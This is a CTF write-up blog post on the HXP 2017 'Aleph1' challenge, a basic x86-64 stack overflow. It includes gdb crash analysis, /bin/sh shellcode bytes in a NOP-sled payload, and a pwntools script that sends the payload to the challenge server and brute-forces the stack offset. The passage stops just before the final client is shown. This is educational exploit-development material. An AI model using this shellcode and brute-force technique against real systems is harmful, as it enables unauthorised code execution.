Sunday, November 19, 2017

HXP 2017 - Aleph1

This was a baby's first pwnable challenge inspired by the legendary post Smashing The Stack for Fun and Profit published by aleph1.

In this challenge we get a 64 bit binary and some source!  It's rare to get source in CTF's, this was very generous:


#include 

int main()
{
    char yolo[0x400];
    fgets(yolo, 0x539, stdin);
}

Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
Let's try going through the first crash:

$ ulimit -c unlimited
$ python -c 'print "A"*0x400 + "B"*16' | ./vuln
[1]    16507 done                              python -c 'print "A"*0x400 + "B"*16' |
       16508 segmentation fault (core dumped)  ./vuln
$ gdb vuln core
...
 ► 0x4005f6     ret    <0x4242424242424242>
...

Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.

We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.

If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004005ca <+0>: push   rbp
   0x00000000004005cb <+1>: mov    rbp,rsp
   0x00000000004005ce <+4>: sub    rsp,0x400
   0x00000000004005d5 <+11>: mov    rdx,QWORD PTR [rip+0x200a54]        # 0x601030 
   0x00000000004005dc <+18>: lea    rax,[rbp-0x400]
   0x00000000004005e3 <+25>: mov    esi,0x539
   0x00000000004005e8 <+30>: mov    rdi,rax
   0x00000000004005eb <+33>: call   0x4004d0 
   0x00000000004005f0 <+38>: mov    eax,0x0
   0x00000000004005f5 <+43>: leave
   0x00000000004005f6 <+44>: ret
End of assembler dump.

pwndbg> b *0x00000000004005f5
Breakpoint 1 at 0x4005f5: file vuln.c, line 7.

pwndbg> r <<< $(python -c 'from pwn import *; print "\x90"*0x400 + "BBBBBBBB" + "AAAAAAAA"')

pwndbg> i f
Stack level 0, frame at 0x7fffffffdfe0:
 rip = 0x4005f5 in main (vuln.c:7); saved rip = 0x4141414141414141
 called by frame at 0x7fffffffdfe8
 source language c.
 Arglist at 0x7fffffffdfd0, args:
 Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0
 Saved registers:
  rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8

pwndbg> x/gx 0x7fffffffdfd8
0x7fffffffdfd8: 0x4141414141414141

pwndbg> x/gx 0x7fffffffdfd0
0x7fffffffdfd0: 0x4242424242424242

pwndbg> p/x 0x7fffffffdfd8 - (0x400/2)
$1 = 0x7fffffffddd8

Now we have the stack address we're going to target when setting saved RIP: 0x7fffffffddd8.

For x86-64 shellcode, there's a nice minimal one from our teammate @matir here - https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/

Putting this all together, we get a long one-line exploit which looks like this:

(python -c 'from pwn import *; print "\x90" * 0x3E7 + "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" + "SAVEDRBP" + p64(0x7fffffffddd8)'; cat) | ./vuln


At this point all we have to do is point to the remote and see if it works!
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.

#!/usr/bin/env python
import sys, time
from pwn import *

r = remote('35.205.206.137', 1996)

OFFSET = 100
REMOTE = len(sys.argv) > 1
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"

def main():
  saved_eip = p64(STACK_ADDR + OFFSET)
  r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
  r.sendline("cat flag.txt")
  print r.recv(2000)

if __name__ == "__main__":
  main()


Changing the offset manually a few times didn't end up being very useful. Time to automate this!


  for x in xrange(0, 0xffff, 0x7f):
    try:
      saved_eip = p64(STACK_ADDR + x)
      r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
      r.sendline("whoami")
      print r.recv(2000)
      print 'FOUND! => {}'.format(hex(STACK_ADDR + x))
    except:
      pass
    time.sleep(0.4)

After a few cycles this quickly showed the ctf user on the remote. It turned out to be +3000 from our local address.

Running an ls on the remote showed a flag.txt, so we just cat that file.


The final client looks like this: